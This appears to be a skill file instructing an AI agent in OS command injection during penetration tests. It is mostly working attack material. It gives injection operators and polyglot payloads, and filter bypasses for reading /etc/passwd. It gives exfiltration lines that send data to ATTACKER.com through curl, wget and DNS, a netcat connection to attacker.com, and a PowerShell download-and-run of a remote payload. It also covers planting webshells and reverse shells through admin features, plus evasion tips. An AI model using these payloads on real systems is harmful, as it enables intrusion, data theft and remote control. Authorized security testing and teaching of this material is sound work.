| name | command-injection |
| description | Guide OS command injection exploitation during authorized penetration testing.
|
| keywords | ["command injection","OS injection","RCE via shell","shell injection","system() injection","exec() injection","ping injection","backtick injection","command execution","blind command injection","argument injection","parameter injection"] |
| tools | ["burpsuite","commix","interactsh"] |
| opsec | medium |
OS Command Injection
You are helping a penetration tester exploit OS command injection. The target
application passes user-controlled input to a system shell command without proper
sanitization. The goal is to execute arbitrary commands on the underlying
operating system. All testing is under explicit written authorization.
Not Python eval()/exec() injection. This skill covers injection into OS
shell commands (bash, cmd.exe, PowerShell) via operators like ;, |, &&,
backticks, and $(). If the injection context is a Python eval() or exec()
call — where you need to write Python expressions, not shell commands — route
to python-code-injection instead. Key indicator: shell operators (;id,
|id) don't work, but Python expressions (__import__('os').popen('id')) do.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[command-injection] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- An input that gets processed by a system command (URL param, form field, header,
filename, API parameter)
- Common vulnerable patterns: ping/traceroute utilities, DNS lookups, file
operations, PDF generators, image processors, email sending, network tools
Step 1: Assess
If not already provided, determine:
- Platform — Linux or Windows (try both
id and whoami)
- Injection context — unquoted, single-quoted, double-quoted, or backtick
- Injection point — which parameter, GET/POST/header/filename
- Visible or blind — is command output reflected in the response?
Skip if context was already provided.
Step 2: Injection Operators
Try these operators to chain a second command. Test with a known-output command
(id on Linux, whoami on Windows) or a time delay (sleep 5, ping -c 5 127.0.0.1).
Linux
| Payload | Behavior |
|---|
; id | Sequential execution (always runs) |
| ` | id` |
| ` | |
&& id | Runs id only if first command succeeds |
& id | Background first command, run id |
`id` | Command substitution (backticks) |
$(id) | Command substitution (modern) |
%0a id | Newline injection |
Windows
| Payload | Behavior |
|---|
& whoami | Run both commands |
&& whoami | Run whoami if first succeeds |
| ` | |
| ` | whoami` |
%0a whoami | Newline injection |
%1a whoami | Substitute character (sometimes works) |
Context-Aware Injection
If the input is placed inside quotes in the shell command:
"; id; echo "
" | id; echo "
"$(id)"
'; id; echo '
`; id; echo `
Polyglot Payloads
Work across multiple quoting contexts (unquoted, single-quoted, double-quoted):
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Comprehensive polyglot
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5`
Step 3: Filter Bypass
Bypass Space Filters
cat${IFS}/etc/passwd
ls${IFS}-la
{cat,/etc/passwd}
{ls,-la,/tmp}
;cat%09/etc/passwd
cat</etc/passwd
X=$'cat\x20/etc/passwd'&&$X
Bypass Command Blacklists
w'h'o'am'i
w"h"o"am"i
/b'i'n/c'a't /e't'c/p'a's's'w'd
# Backslash escaping
w\ho\am\i
c\at /e\tc/p\as\sw\d
/\b\i\n/\s\h
# Empty variable expansion
who$@ami
who${x}ami
cat$u /etc$u/passwd$u
# Empty command substitution
who$()ami
who``ami
# Variable concatenation
a=who;b=ami;$a$b
a=c;b=at;c=/etc/passwd;$a$b $c
Bypass Character Restrictions
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
X=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $X
cat `printf '\57\145\164\143\57\160\141\163\163\167\144'`
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat ${PATH:0:1}etc${PATH:0:1}passwd
Wildcard-Based Bypass
When specific commands or paths are blacklisted:
/???/??t /???/p??s??
/???/n? -e /???/s? attacker.com 4444
/bi[n]/cat /etc/pa[s]swd
/bin/ca? /etc/passw?
Newline and Whitespace Injection
%0aid
%0awhoami
%0d%0aid
cat /et\
c/pa\
sswd
Step 4: Blind Command Injection
When command output is not reflected in the response.
Time-Based Detection
; sleep 5
| sleep 5
& sleep 5
`sleep 5`
$(sleep 5)
& ping -n 6 127.0.0.1 &
& timeout /t 5 &
;sleep${IFS}5
If a 5-second delay is observed, injection is confirmed.
Time-Based Data Exfiltration
Extract data character by character using conditional sleeps:
if [ $(whoami | cut -c 1) == "r" ]; then sleep 5; fi
if [ $(whoami | cut -c 2) == "o" ]; then sleep 5; fi
if [ $(cat /etc/passwd | head -1 | cut -c 1 | od -An -td1 | tr -d ' ') -gt 100 ]; then sleep 5; fi
DNS-Based Exfiltration (OOB)
Faster than time-based. Requires a DNS callback server (interactsh,
Burp Collaborator, dnsbin.zhack.ca).
$(host $(whoami).ATTACKER.com)
$(dig $(whoami).ATTACKER.com)
$(ping -c1 $(whoami).ATTACKER.com)
for i in $(ls /); do host "$i.ATTACKER.com"; done
$(cat /etc/hostname | base32 | tr -d '=' | nslookup -.ATTACKER.com)
$(curl http://ATTACKER.com/$(whoami))
$(wget http://ATTACKER.com/$(id|base64) -O /dev/null)
File-Based Exfiltration
Write output to a web-accessible file:
; id > /var/www/html/output.txt
; cat /etc/passwd > /var/www/html/out.txt
curl http://TARGET/output.txt
Step 5: Argument Injection
When shell metacharacters (;, |, etc.) are properly escaped but the input is
used as an argument to a program. Inject flags/options instead.
Common Vectors
--output /tmp/shell.php -O http://attacker.com/shell.php
-O /tmp/shell.php http://attacker.com/shell.php
-oProxyCommand="id > /tmp/proof"
--checkpoint=1 --checkpoint-action=exec=id
-name "x" -exec id \;
-e 'sh -c id' .
-OQueueDirectory=/tmp -X/var/www/html/shell.php
Fullwidth Character Bypass
Some sanitization functions (PHP escapeshellarg) can be bypassed with Unicode
fullwidth characters that get normalized by the shell:
" --use-askpass=calc " # U+FF02 instead of regular double quote
Step 6: Windows-Specific Techniques
Case Insensitivity
Windows commands are case-insensitive — use case randomization to bypass filters:
WhOaMi
wHoAmI
Variable Substring Bypass
# Space from environment variable
ping%CommonProgramFiles:~10,-18%127.0.0.1
# Build commands from substrings
set a=who&set b=ami&call %a%%b%
PowerShell Injection
# If input reaches PowerShell
; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')
Caret Escaping
Windows cmd.exe treats ^ as an escape character:
w^h^o^a^m^i
n^e^t u^s^e^r
Step 7: Application-Feature Command Execution
When you have admin/superadmin access to a web application, look for
legitimate features that execute system commands — these aren't injection
bugs, they're intended functionality you can abuse.
Common patterns:
- Filter/rule systems with execute actions — monitoring tools (Nagios,
Zabbix, Icinga), CI/CD systems, SIEM platforms. Look for fields named
"execute command", "run script", "action command", "notification command".
These often run via background daemons (cron-like), not inline — you may
need to wait for the daemon cycle or trigger an event.
- Scheduled tasks / cron features — CMS platforms, admin panels, backup
tools. Create or edit a scheduled job with a reverse shell payload.
- Plugin/extension installation — WordPress, Joomla, Grafana. Upload a
malicious plugin ZIP containing a webshell or reverse shell.
- Template/theme editing — CMS template editors that write PHP/Python/Ruby
directly to disk. Edit a template to include command execution.
- Backup/restore with code execution — restore a crafted backup containing
a webshell or modified config that executes commands.
- Notification/webhook systems — set a command-based notification triggered
by an event you can create.
Key difference from injection: You're not breaking out of a command — you're
providing the entire command to a feature designed to run it. No operators or
escaping needed, just a valid shell command.
Trigger mechanisms: Background daemon features (filters, notifications) may
require an event to fire. Check how to create or simulate the triggering
condition (create a matching record, force an alarm, trigger a threshold).
Step 8: Escalate or Pivot
Credential-Based Access Handoff
When command injection reveals credentials (.env files, config files, SSH
keys, database connection strings), do NOT attempt to use them programmatically
from the injection context:
- Do NOT try
sshpass, SSH key injection, or automated SSH from injection
- Do NOT spend turns debugging interactive authentication workarounds
Instead, immediately write a handoff script for the operator:
- Save discovered credentials to
engagement/evidence/
- Write connection commands the operator can run
- Report in your return summary: credentials and Pivot Map entry
- Tell the operator: "Credentials found. SSH handoff ready — connect from
your terminal."
The operator establishes the interactive session. The orchestrator or operator
decides the next skill to invoke.
OPSEC Notes
- Commands execute as OS processes — visible in
ps, /proc, process monitors
- Shell operators (
;, |, &&) appear in web server access logs
- DNS exfiltration generates DNS queries visible to network monitoring
- Time-based payloads (
sleep) are slow but stealthy
%0a (newline) injection is less commonly filtered and logged than ; or |
- Long-running commands may trigger process monitoring alerts — use
nohup and
background with &
- Cleanup: remove any files written to disk (webshells, output files)
Troubleshooting
No Operator Works
- Try all operators systematically:
;, |, ||, &&, &, %0a, $(...),
backticks
- Check if you're inside quotes — break out first (
", ')
- Try URL-encoded newline
%0a — most commonly missed by filters
- Check for argument injection instead (inject flags, not commands)
- The application may not use a shell at all (e.g.,
execFile() in Node.js
instead of exec()) — argument injection is the only option
Space Is Filtered
Priority order:
${IFS} — works in bash/sh, most reliable
%09 (tab) — works in most shells
{command,arg1,arg2} — brace expansion (bash only)
< (input redirection) — for file reading
$'\x20' — ANSI-C quoting
Command Name Is Blacklisted
Priority order:
- Quote splitting:
c'a't, w"h"o"a"m"i"
- Backslash:
c\at, w\hoam\i
- Variable expansion:
a=c;b=at;$a$b
- Wildcards:
/???/??t matches /bin/cat
- Base64:
echo Y2F0 | base64 -d → cat
- Hex:
echo -e "\x63\x61\x74" → cat
Blind Injection — Can't Confirm
- Start with time-based:
; sleep 5 — compare response times
- If
sleep is blocked, try ping -c 5 127.0.0.1 (5-second delay)
- If time-based is unreliable, use OOB:
$(curl http://ATTACKER/test)
- If no outbound HTTP, try DNS:
$(host test.ATTACKER.com)
- If completely isolated, try file write:
; id > /tmp/test.txt and include
via LFI
Automated Tools
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --batch
python commix.py -u "http://TARGET/page" --data="ip=127.0.0.1" --batch
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --os-shell
python commix.py -u "http://TARGET/page?ip=127.0.0.1" -t time-based